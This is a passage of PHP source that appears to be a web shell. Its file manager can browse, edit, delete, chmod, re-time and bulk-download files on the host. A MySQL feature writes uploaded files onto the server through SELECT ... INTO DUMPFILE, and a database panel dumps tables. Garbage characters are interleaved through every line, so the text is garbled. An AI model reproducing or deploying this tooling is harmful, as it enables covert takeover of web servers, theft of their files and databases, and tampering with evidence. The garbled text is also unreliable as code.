" c3 _4 ?) C N# B - makehide('dir',$nowpath);& K5 N. j; C, w) d! }
- formfoot();
2 u5 L2 l3 p F$ k - formhead(array('name'=>'fileperm'));2 \! r( e) l7 L+ z6 \$ N2 B
- makehide('newperm');
# d! k# u: y2 k7 e1 J6 q; g3 [ - makehide('pfile');
m. y/ Q7 R' ]1 j - makehide('dir',$nowpath);
; m+ q4 L* U+ B; u7 } - formfoot();& ?! n! `7 S% [0 R8 S' b( o8 J2 J6 ?
- formhead(array('name'=>'copyfile'));. z* L! b B) e7 N& O8 `2 ~5 n
- makehide('sname');3 t6 m3 e {% V" {1 N4 T9 T- V3 {
- makehide('tofile');
# w* f: z. C+ X! l0 W4 N, Y - makehide('dir',$nowpath);* K. M( f: ?8 a2 Y7 e; v
- formfoot();1 d- D7 f! r% ]7 o) `& c
- formhead(array('name'=>'rename'));8 G( F2 m( q, @' x( Q1 w
- makehide('oldname');3 Z# I4 e3 E- K
- makehide('newfilename');$ K! j6 ~1 s& P8 f
- makehide('dir',$nowpath);# N' G6 ]) m" l' B- o( K% t/ u
- formfoot();; S6 ]$ K% n0 i5 t) W
- formhead(array('name'=>'fileopform'));6 s9 C" `" z3 Y- |# w% `
- makehide('action');" N8 U2 v2 g4 z+ M5 O
- makehide('opfile');
/ q) s" R& g/ n. k, B4 c/ `: k - makehide('dir');' }* |% w$ c8 f, e! {; k7 d
- formfoot();% x8 X" ]1 G2 S: }# g! a. h' Z
-
# _. _* B, c" H - $free = @disk_free_space($nowpath);
- i8 U" [+ N# Z6 z - !$free && $free = 0;/ y3 ]' v: Q8 L
- $all = @disk_total_space($nowpath);
8 _* \) T; f6 o9 d2 U s i1 R - !$all && $all = 0;! t+ i& F, Z' B
- $used = $all-$free;
) A8 e0 o8 F" x% H: k# m' _ - $used_percent = @round(100/($all/$free),2);
- B* v( [3 v$ Q7 ]! P: w - p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');
& C1 ?! C5 s+ Y6 D [- ? - % ]$ T; M& K) b$ o3 C8 U! @
- ?>
( J. c. v+ e" f. k8 |1 Z - <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
# t& q# \1 W, {- r6 p9 U4 ?6 \ - <form action="" method="post" id="godir" name="godir">$ `2 ^ `! I/ @
- <tr>
3 c3 g z" a4 v1 } ~' V - <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
% I/ ^2 y+ y3 ^ - <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
0 @) C+ ]/ `3 l2 r: t: W& y - <td nowrap><input class="bt" value="GO" type="submit"></td>* t; C1 c" \. F. @
- </tr>
% c' i: q5 [/ Q! P& n7 N - </form>
% b2 k! H* n5 N. w. j9 ]2 D - </table>4 e% k5 g2 Q( P+ P
- <script type="text/javascript"># {( g& s6 U( \: v ]7 S
- function createdir(){
; c6 h; i7 d: w" E' ] q9 J - var newdirname;' `4 Y0 G: x6 B& ?3 Y6 V* g* ^+ x3 O
- newdirname = prompt('Please input the directory name:', '');
1 ]* a/ @5 r" v, `, V: F - if (!newdirname) return;
; {: n$ K1 L+ M3 q4 O8 W5 o - $('createdir').newdirname.value=newdirname;
8 h7 \( Y& K, ~! C; v+ Y% U) c - $('createdir').submit();
% r; e! O- c0 z# v4 c8 E3 j - }; @: @5 \4 P3 d3 N- V
- function fileperm(pfile){
# |+ q2 x" p9 t, A) K - var newperm;
' _$ Q- u2 H' S( i" Z. g! u - newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
1 W) T( _. w5 W( n1 X, E, W) O - if (!newperm) return;6 M# Q+ ?0 u2 x
- $('fileperm').newperm.value=newperm;% n' p; Y4 v1 R! m
- $('fileperm').pfile.value=pfile;! P7 ^5 i2 X) {$ ]$ w% S1 Q
- $('fileperm').submit();5 K/ k6 Q, Q4 d
- }
6 [! o1 M/ e2 A+ j. r0 S1 H - function copyfile(sname){
5 [* Y1 Y# @- P4 U* X - var tofile;
7 o8 z) K9 O Z1 @7 K% D+ l - tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');9 B3 I1 s7 ]9 \6 @# Y6 {
- if (!tofile) return;
4 ?, z/ N0 X, c: S - $('copyfile').tofile.value=tofile;! ~" i- A* _" u, j8 A) n; F4 |: W
- $('copyfile').sname.value=sname;
& u. G8 i! v# Z. t; i, I+ e% @ - $('copyfile').submit();
! k" u3 o2 m8 d n - }* _" M [" b$ t8 J: Y
- function rename(oldname){4 J, b) A/ D. {+ d& o
- var newfilename;! Q q: h6 M3 u8 a
- newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');
7 v6 i0 i. U4 S$ e; d }6 `1 c: e - if (!newfilename) return;: f$ f0 B& _# H/ r# _* C
- $('rename').newfilename.value=newfilename;
' v# I1 r& m# X/ i - $('rename').oldname.value=oldname;
! v! J- M" c2 Q: L- I - $('rename').submit();+ n& x" N$ a7 _8 G( T" E: \
- }# p' L$ o) P- C9 F: C' J# w J
- function dofile(doing,thefile,m){
) w7 z* i) k% q. Q" b - if (m && !confirm(m)) {) s* U) d& B d6 E- I
- return;
# K7 C2 u( @* L8 P - }5 h ^4 \ {9 B) ]! }
- $('filelist').doing.value=doing;
, b) U) J4 G' b3 x( p) ^ - if (thefile){
! e4 W1 n# }+ Z1 B) _ - $('filelist').thefile.value=thefile;
$ C7 n! r4 W# A, q) i! ?/ K, ? - }
! v2 R1 A- r9 D8 X" {7 J2 ]2 R - $('filelist').submit();
7 L( c) i. U7 \5 V - }5 c/ p. T' @( Z/ ^/ l% z& p Z
- function createfile(nowpath){
D8 ~5 D: {+ f6 z3 {4 M - var filename;6 ~- U T9 d, j& Z
- filename = prompt('Please input the file name:', '');2 r a n6 [& B
- if (!filename) return;, B4 m, E+ O3 ^9 s7 d
- opfile('editfile',nowpath + filename,nowpath);8 N* L3 u4 f, ]" x
- }
1 u7 s6 ^9 `/ p4 |! S0 R8 e7 ? - function opfile(action,opfile,dir){
& H) P+ s5 i) ?0 I - $('fileopform').action.value=action;- {( F. s. y) i# c* ?+ f
- $('fileopform').opfile.value=opfile;; \, K/ h% t+ L' o% j$ l4 ]4 L9 e- B
- $('fileopform').dir.value=dir;
7 `8 A3 ^4 S. ^" q - $('fileopform').submit();
) m) L" \6 m3 {9 N1 [& M/ s4 |1 v4 t - }) G: Z( x0 x3 S) v- _3 e% R2 `
- function godir(dir,view_writable){" e3 \; e( L/ D2 u9 R
- if (view_writable) {
& d- A4 D3 r$ _ - $('godir').view_writable.value=1;& B3 I0 ?1 V" w F6 v' Z2 V
- }
, Z; m4 e5 T! C& W7 X2 L - $('godir').dir.value=dir;
6 `2 X" t9 ?/ a+ p1 G& v8 v - $('godir').submit();
' a0 k: q+ x" h) Z6 l - }
$ v1 X" {4 p% v9 m2 ]: z# O# H - </script>
' R1 x) X& Z/ I - <?php) c2 x$ j* W$ i2 h# _1 s9 L! ^$ E
- tbhead();' k; Z. ~9 w+ Q' B5 b: G! `3 i
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');! c( |& y( E# y, m/ q f, O. E
- p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');
2 b" z! ?* q3 q# n7 o; g - p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
- K% S& Z2 a5 c - if ($view_writable) {
8 H+ Y) a( ^+ Q; d) \8 Q - p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
& g8 ~ O9 n2 C2 T7 B$ s - } else {! y3 @- e/ p' {1 Y: s4 G7 J
- p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
; a0 i3 C7 F7 i k( P" O - }
4 L1 x- V) v& C5 G+ B( _3 o - p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');, f8 J3 ?* o* {
- if (IS_WIN && IS_COM) {
+ n7 G# F( l4 H - $obj = new COM('scripting.filesystemobject');
' f0 ]3 Q9 I+ [, I# f Z9 o5 k - if ($obj && is_object($obj)) {
+ _' T4 v+ Q/ D/ u6 N - $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
7 U L- Q" O$ c _/ ~/ m - foreach($obj->Drives as $drive) {: R4 K/ T; Q$ u2 V, \8 P# I
- if ($drive->DriveType == 2) {' U$ p1 \; S. o
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).'3 A$ d1 m* x( i$ v& f' Q* b2 l/ F
- Free:'.sizecount($drive->FreeSpace).'1 C9 H; H" q/ F( N) a2 z
- Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
9 U' k; s _. v - } else {3 ~ J" _2 I- e, c9 d' M
- p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
: T3 V- K- R; c. @9 v1 E; o! b - }, [! v4 o: [8 y
- }$ U* L" V) R$ y, i; E* N5 F
- }+ V/ h1 n& H' |' @
- }
' o1 M4 r. f9 s( E - ) r3 L' R+ ^& n+ o% Y9 J, C2 Q/ }
- p('</td></tr></form>');# _0 F3 m3 `0 z6 c* Q
-
R/ R. j( e( g* }/ U1 z; F7 w - p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
7 i' l5 x6 ]0 I7 f3 R - 5 R: ~' a2 a/ i5 s
- //查看所有可写文件和目录
4 m3 X1 M1 I$ N" n, q - $dirdata=array();7 B4 \3 {9 p' K* r( `
- $filedata=array();
3 Z) ?& D8 I# j: Y4 v }3 C# q - 7 R, t2 G1 T3 n% f! @/ s
- if ($view_writable) {: y8 `! i% z5 p4 |3 U
- $dirdata = GetList($nowpath);/ H, r- B' l7 @3 c! U# y9 ~5 Q" \4 @+ H9 E
- } else {+ n0 N. V- O) Z+ p" }% }
- // 目录列表3 E( s! [& n% H& M
- $dirs=@opendir($dir);
0 M3 t' c5 T9 v9 a7 b. C6 K - while ($file=@readdir($dirs)) {
& g; I) j5 ] m b _) [, [4 v - $filepath=$nowpath.$file;8 ~6 c$ v) w6 g7 n3 D: u
- if(@is_dir($filepath)){
& ? P! g# d8 s3 P - $dirdb['filename']=$file;
% a/ }) @) Z% B9 n4 U, v - $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));8 H; S- I, |! D
- $dirdb['dirchmod']=getChmod($filepath);7 c' L" w$ q) Y# G
- $dirdb['dirperm']=getPerms($filepath);
0 c% j: @8 s' k6 X7 T/ T+ j6 k* G - $dirdb['fileowner']=getUser($filepath);
, L6 ]' A4 X$ |1 o - $dirdb['dirlink']=$nowpath;) p8 x5 {& y8 U5 { b. f9 T
- $dirdb['server_link']=$filepath;8 E9 b: L4 [1 Q' b- `3 l' p. y: c
- $dirdb['client_link']=ue($filepath);
& J6 P& o# ?2 H7 O% s - $dirdata[]=$dirdb;9 ]3 Q9 Q1 q2 m2 `1 b) A1 |
- } else {
1 r( d3 I! }) C - $filedb['filename']=$file;
" h1 Z+ p, |/ D8 d7 @4 P7 T - $filedb['size']=sizecount(@filesize($filepath));/ H% d' o8 m9 f4 Y( e6 y
- $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
5 j/ c/ I1 Y) i2 y# a9 X - $filedb['filechmod']=getChmod($filepath);& ~6 J7 v7 \! L5 Q+ M/ q
- $filedb['fileperm']=getPerms($filepath);- E$ t: a+ M$ a" S$ Y& y# N
- $filedb['fileowner']=getUser($filepath);0 \4 ^$ ? l9 J* m* n. A5 m, [
- $filedb['dirlink']=$nowpath;8 f3 v5 T3 }) L- K: D/ p
- $filedb['server_link']=$filepath;+ o1 g/ Y8 F; x; f' P" J
- $filedb['client_link']=ue($filepath);" X% n7 S! m; | T0 P3 F: E2 u
- $filedata[]=$filedb;
2 _, l3 A; d) d* e: @4 Q9 J - }
! z7 I: S5 q2 p3 c - }// while) }0 Z# [' @& U" g \' n
- unset($dirdb);
& S# `( T8 r# _+ ^1 P2 d x2 ? - unset($filedb);$ p0 Y# Z# W- H9 U+ ^+ v% v
- @closedir($dirs);2 \# F% v8 W$ E4 g; T' c
- }) O7 y+ N# f8 K( f0 h/ I6 T
- @sort($dirdata);
B, {$ f) X% x+ C0 ~9 P# S# i - @sort($filedata);
4 ?! ^$ m ^* ~' l/ j - $dir_i = '0';$ o3 n Q7 U3 u5 E' ~0 i' b9 N6 V
- foreach($dirdata as $key => $dirdb){: i, h6 H+ I9 a
- if($dirdb['filename']!='..' && $dirdb['filename']!='.') {; w" x& K+ x- e/ L7 d7 B
- $thisbg = bg();
1 q' I }: r6 n7 A1 E1 i$ `. d - p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');$ W: y& C6 R) G- _& J7 |
- p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');. C2 \6 ]7 O' X/ J; [; ^
- p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
+ }+ P% A# R# U2 \9 F - p('<td nowrap>'.$dirdb['mtime'].'</td>');
/ ~% K: n; o0 g1 r7 ^# h' n' H9 ^ - p('<td nowrap>--</td>');2 v) W9 d" O+ ?! I
- p('<td nowrap>');
0 d# ^8 {( K" r8 a" F: X - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');
1 L; ] e+ c% d. g, B5 k - p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');, E6 {8 N( _- S
- p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');# @8 r {/ _/ r* b5 l# o
- p('</tr>');& V3 I" M5 {. ]! H R/ h
- $dir_i++; K$ A" m# s5 v6 Z" J2 M Z
- } else {: z P$ I. ^6 E* U; S5 h
- if($dirdb['filename']=='..') {: H" B! Z A9 n6 [% U
- p('<tr class='.bg().'>'); L" D% K* }$ v p1 v/ {; a, f
- p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
: X( R2 F- ^' T3 J; I; W - p('</tr>');6 j& B/ \: _; z$ A3 F
- }
% u: z9 l+ Y J8 t, s' Y - }2 [/ W) _% R& j3 y6 [7 n
- }
' n$ ^8 G' J1 o# L; C( |1 U' q& {9 X - + L/ \, Q; k M& J g9 q
- p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');7 v0 S: b6 T) E9 b9 r
- p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
{: Z# N% X" g - makehide('action','file');
" b C' j1 R N9 P) s - makehide('thefile');6 e& ~% L5 K% m2 u( z# f
- makehide('doing');- v8 F6 F7 \' N4 z
- makehide('dir',$nowpath);
0 ?) J I0 R5 K) A* s7 A - $file_i = '0';
R& [/ V. V6 |" }+ I& a1 r - foreach($filedata as $key => $filedb){
: ]5 E& b2 ?% v, Y3 Q! B- ~ - if($filedb['filename']!='..' && $filedb['filename']!='.') {
7 [7 Z# G, ? F3 d3 m! ] - $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);/ h3 ]) Y: S% q" ? w" b( \; V
- $thisbg = bg();# Z3 _# f# j$ k9 h9 D
- p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
a$ e- z/ I* ^- _ - p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');
$ y4 @+ Q9 Q4 w$ } - p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
6 h' X4 N" n, v) s% V7 t - p('<td nowrap>'.$filedb['mtime'].'</td>');( Q f. a( D* c7 ^' h. n- w: X
- p('<td nowrap>'.$filedb['size'].'</td>');
6 G6 }, A; O: L! g; a4 } - p('<td nowrap>');
: z( [( W9 W& k J* Z$ | - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
. v8 X. ~' ?+ V# t - p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');0 I2 R; p7 Z4 q5 M; f( F
- p('<td nowrap>');
0 l+ f. O2 w+ S6 u3 D: |5 J* G - p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
, n0 t# @4 ^6 E - p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');
9 M( M2 T: `; J! {. H - p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');
1 j* m5 Y+ W: T. P - p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
7 q) U& Y; [! v: o% x8 a - p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
% m9 F) H2 d7 t. L" z ^5 t' e - p('</td></tr>');8 x# A6 X+ O: U* V- |. J3 D
- $file_i++;% |% C0 o2 ]4 o; p- z9 G' q
- }0 }8 d! _. @$ G k5 z
- }0 b' w6 E, {( X" P0 m
- p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');
+ ^" }. Z; \& h - p('</form></table>');
2 W! I/ @2 b, I' L1 |# w$ { - }// end dir1 K* @* r# Q7 A2 Q5 p
- 4 @9 h4 O# A# f+ |7 o/ O: K- S
- elseif ($action == 'sqlfile') {" Y( z1 ?% A8 U0 M
- if($doing=="mysqlupload"){
$ {+ }# h( F! [ o' k1 s* j% M) L$ r - $file = $_FILES['uploadfile'];0 O5 Q- L1 N8 P" Y P8 x. z
- $filename = $file['tmp_name']; f" m5 t. W# q0 C4 T+ c% w! K8 x
- if (file_exists($savepath)) { b8 G; ^, q" W3 i/ e, z) z
- m('The goal file has already existed');
9 M$ U# g5 w, ]4 }- b, I - } else {
& ?. n8 ~. r! S - if(!$filename) {
7 W3 g3 d/ F3 ] S5 v - m('Please choose a file');
4 t' i: ]) d7 V! X) o1 S0 H - } else {/ X9 f, B" c1 m* Q) m
- $fp=@fopen($filename,'r');- T, [4 D. ?9 Z# F) z& x
- $contents=@fread($fp, filesize($filename));* T" U* ~' }+ B7 d5 s
- @fclose($fp);
9 v6 G1 j& u" D - $contents = bin2hex($contents);
3 @8 s0 U) A, m K- l* Z - if(!$upname) $upname = $file['name'];+ e: w) c9 Q0 l! F
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) V) F$ p" ]* p) P( K" V2 l8 _
- $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");
1 ]; M7 T6 g) c- p* y - m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());
( P2 r4 u- }$ U, f( i! E7 c" Y - }! `+ f" g4 P6 U
- }; o+ @. {0 S( X
- }
1 A# Y3 t9 V( {9 g9 f - ?>
) G; p1 J: J+ y - <script type="text/javascript">9 b* ?0 Z9 _/ X
- function mysqlfile(doing){
" |! ^& S* j5 Q0 W8 E) S' K% Q8 u - if(!doing) return;
n. y) ~& j L& t( J - $('doing').value=doing;8 D6 e7 w4 a8 l2 g1 p
- $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;3 S9 n% c) @4 G/ z0 R( h J. T
- $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
2 Z* |/ E8 O% i$ q) } - $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;& k: J; C' m1 M% M# u
- $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;
u9 x/ s+ Z2 J3 c - $('mysqlfile').dbname.value=$('dbinfo').dbname.value;
2 A+ w/ S# u3 o7 \: ?: ~8 @0 A - $('mysqlfile').charset.value=$('dbinfo').charset.value;1 z* d/ ~% ]+ M& o
- $('mysqlfile').submit();9 Y) Q0 O! l9 B1 `) k* u
- }2 l% s i w) Z7 y" h8 X" U
- </script>
7 y! e! h- F \5 {+ B1 H$ G - <?php
9 c" g& N. M9 _4 ^7 s - !$dbhost && $dbhost = 'localhost';) G* ~/ J ~0 ~0 ? V6 X x& e9 G
- !$dbuser && $dbuser = 'root';9 ~) K: W# n' E* @3 u/ ~
- !$dbport && $dbport = '3306';
% Y4 ?1 A/ ^0 ~! L! m! T - $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');6 j D) E" P; V. o% t
- formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));! L X2 R/ ]8 v6 H& U
- makehide('action','sqlfile');8 C+ x$ H: t- T2 N! y
- p('<p>');
. C9 k1 Q- t2 n. C3 |' ?) f - p('DBHost:');
. b/ |* M+ ?+ \, d4 s - makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));. `2 _0 M0 O( K
- p(':');% o$ H( {( Z0 U( |
- makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
. q5 S5 a; s- ^0 M - p('DBUser:');
6 P' n: ~9 C7 e8 ~ - makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));) u! m0 b1 s! X& I' J
- p('DBPass:');) P' E& ?2 {' a$ J( ~+ H
- makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));; C* k! U* T% I
- p('DBName:');
?* l9 t w$ \( e$ _2 Y - makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname)); ]1 F5 `" P# y5 g- T
- p('DBCharset:');5 v$ w3 ]0 Q; o+ e- a5 ]4 y U
- makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
1 h% L1 j+ b' ~1 q% _: m - p('</p>');. A. v. k- B1 x2 f8 b& x- k: r
- formfoot();1 w# V. e8 f; m+ e9 \, M5 z
- p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
( g5 ?. e, {# s- i# u* m' _ @ - p('<h2>Upload file</h2>');6 L4 h+ i% e: Z! k5 R1 f! _
- p('<p><b>This operation the DB user must has FILE privilege</b></p>');' M: K) r8 g6 T' n ]2 e
- p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');' Q# R2 I* m$ n ~& ^1 G
- p('<h2>Download file</h2>');
' | x. d8 J: R$ O: x+ q - p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');
# m& N0 N7 r) e: Z7 J+ E3 [* Q - makehide('dbhost');
/ N2 a l0 s" V3 F; b( f s* _ - makehide('dbport');' _% f7 `% C7 {# d- _# R
- makehide('dbuser');
6 Z0 _, g0 s/ {3 `2 w - makehide('dbpass');
( d& A& ?$ \- `- k/ ]$ ]1 d! k - makehide('dbname');
2 ~( y9 N6 Q m/ g4 \ - makehide('charset');
8 K& N v+ |, g9 W6 z - makehide('doing');
; d G2 w/ v6 C$ e0 |( P& z- T - makehide('action','sqlfile');
+ o- l0 K/ H( d6 ^7 _. \2 i - p('</form>');
9 }. ^0 [% h$ a5 c2 |5 u - }" J- d1 u! R' i+ f0 v; j
-
2 s* R M3 `. P4 U; i6 U - elseif ($action == 'sqladmin') {$ [; {! r; D, D6 F. Q# D
- !$dbhost && $dbhost = 'localhost';- S9 S) G/ y; x- e0 h
- !$dbuser && $dbuser = 'root';3 w9 w' `4 ?* J- E& f4 w. d
- !$dbport && $dbport = '3306';# r+ |/ H/ [- h1 J0 y% e, l
- $dbform = '<input type="hidden" id="connect" name="connect" value="1" />';
* H- a) p& W- w8 A - if(isset($dbhost)){' T; g" e8 @, M
- $dbform .= "<input type="hidden" id="dbhost" name="dbhost" value="$dbhost" />\n";- `, n* o$ b& A
- }, U; @2 L$ F3 ?* P# ~
- if(isset($dbuser)) {
: X( D7 X4 |2 y! J; ^# z - $dbform .= "<input type="hidden" id="dbuser" name="dbuser" value="$dbuser" />\n";3 ]$ s% j u+ }7 ~2 L
- }
8 l3 h; u9 X! s - if(isset($dbpass)) {1 r0 M2 M: C. I" P1 ~: b
- $dbform .= "<input type="hidden" id="dbpass" name="dbpass" value="$dbpass" />\n";- a/ y" y. x$ m, u' p T4 k8 v1 z
- }
5 { k5 k- t% M* L4 x - if(isset($dbport)) {9 q2 K7 o, c; c0 O F' |% _6 d4 g
- $dbform .= "<input type="hidden" id="dbport" name="dbport" value="$dbport" />\n";! O0 a1 }3 E' k' |0 y- z7 y5 Z" \
- }0 I; z! j$ v" b* l) T" g
- if(isset($dbname)) {& Q: B" \' t; o
- $dbform .= "<input type="hidden" id="dbname" name="dbname" value="$dbname" />\n";
1 l% |& Z7 Y3 E) _$ m - }2 C8 m( t: k8 }( v
- if(isset($charset)) {
5 b) b& L W3 e" X - $dbform .= "<input type="hidden" id="charset" name="charset" value="$charset" />\n";
4 r1 ^' ^( O x! S e2 n; [( m/ |+ v - }! a+ H# S* t3 r
-
* X! T( R& c. X/ E2 q - if ($doing == 'backupmysql' && $saveasfile) {. K" U4 K0 l* x4 ]) k! T
- if (!$table) {
" R1 M& \% S8 m) ~/ R: ^& h - m('Please choose the table');2 X' p U2 x; k3 B$ J- a$ @
- } else {0 ]/ A% m% ?. I
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
- Q0 ^3 p3 J# v/ @. b2 M( q7 p - $table = array_flip($table);7 ~7 ^; m4 f% ~( a% c. H
- $fp = @fopen($path,'w');& Q. N% q8 ?. R# a+ o
- if ($fp) {! y2 j% q) X0 g5 F; `
- $result = q('SHOW tables');+ R! k4 l$ o' E) |
- if (!$result) p('<h2>'.mysql_error().'</h2>');% F G- p' O; n/ V4 R2 h
- $mysqldata = '';1 T. w, J$ \ R( D. Y; b- n
- while ($currow = mysql_fetch_array($result)) {
- e8 ?/ n2 j( s - if (isset($table[$currow[0]])) {
# |4 A/ A. X; q. M+ [) \3 p! ] - sqldumptable($currow[0], $fp);2 j/ p' |$ I( u( m" I8 F( e% g2 b
- }
* M% }6 I4 U, M5 W! _ - }( H E1 e& o% F/ U3 g* A \
- fclose($fp);
% b6 c) T& q# H% w - $fileurl = str_replace(SA_ROOT,'',$path);" \1 f3 q. o: z% \
- m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');: `, X: X9 n& M% k! | o. N: w
- mysql_close();
2 N# j2 o. b* I" ` - } else {
7 P; W4 [$ h; ?8 O4 x - m('Backup failed');
0 ?' N! k9 R! y, u, n& [ - }1 d, S. S% G! L9 J- U0 E1 ]
- }* u( m& M3 X8 ?" z/ [$ [% `
- }
% R j* n! R5 r2 @- U& q) r - if ($insert && $insertsql) {
1 b8 o+ n- S# i# G# j - $keystr = $valstr = $tmp = '';
; H0 X! a6 Y- f( ~! f - foreach($insertsql as $key => $val) {
' m( R* j$ L5 o- \. ?' M# D - if ($val) {
. V! f6 ^( a4 C0 l, o" a7 d - $keystr .= $tmp.$key;7 V/ C0 I/ A+ k# [2 Z, q- x
- $valstr .= $tmp."'".addslashes($val)."'";
/ Z# w, L* f7 F2 | - $tmp = ',';) @, |6 A- ^/ A7 Z; t) K
- }
: m7 d' |. C* Z, k- m) I6 G$ P - }
, f1 d1 M7 a* @- _5 P1 n) E - if ($keystr && $valstr) {" M7 i# d4 A! Q/ e$ _, B
- dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);0 d9 F: \7 k# J [
- m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());
2 W) \# @3 r( W8 f - }0 M. [8 |- ~4 i+ u) U y. ]
- }$ b7 t6 j9 k* A- }6 q0 N. w
- if ($update && $insertsql && $base64) {! A# r1 @: [4 W% O
- $valstr = $tmp = '';
9 ]1 t+ X4 ~5 Z. E' g1 ~7 A - foreach($insertsql as $key => $val) {
. r6 W7 U$ m# r: y - $valstr .= $tmp.$key."='".addslashes($val)."'";/ G7 z, G+ E2 B1 O( z5 s
- $tmp = ',';
2 V9 a* ]6 G" a3 J - }# Q+ z" M8 O3 O! e5 ?$ f
- if ($valstr) {, P# [6 E5 i" m4 D6 z
- $where = base64_decode($base64);
& B8 _6 o2 O% ^* Y7 { - dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);) k2 V1 W2 ]( _0 W9 S
